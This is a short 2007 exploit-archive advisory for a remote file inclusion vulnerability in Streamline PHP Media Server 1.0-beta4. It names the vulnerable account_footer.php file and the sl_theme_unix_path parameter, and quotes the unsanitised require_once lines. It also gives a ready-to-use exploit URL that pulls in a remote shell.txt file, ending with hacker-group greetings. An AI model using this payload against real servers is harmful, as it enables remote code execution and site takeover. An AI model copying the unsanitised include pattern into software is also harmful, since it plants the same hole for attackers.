[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Streamline PHP Media Server 1.0-beta4 RFI Vulnerability
# Published : 2007-09-19
# Author : BiNgZa
# Previous Title : Flip <= 3.0 Remote Password Hash Disclosure Exploit
# Next Title : OneCMS 2.4 (userreviews.php abc) Remote SQL Injection Exploit
Vulnerability Type: Remote File Inclusion
Vulnerable file: /streamline-1.0-beta4/src/core/theme/includes/account_footer.php
Exploit URL: http://localhost/streamline-1.0-beta4/src/core/theme/includes/account_footer.php?sl_theme_unix_path=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: sl_theme_unix_path
Line number: 2
Lines:
----------------------------------------------
<?
require_once( $sl_theme_unix_path."/account/footer.php" );
require_once( $sl_theme_unix_path."/common/footer.php" );
----------------------------------------------
GrEeTs To sHaDoW sEcUrItY TeAm & str0ke
FoUnD By BiNgZa
DoRk: :(
shadowcrew@hotmail.co.uk
# www.Syue.com [2007-09-19]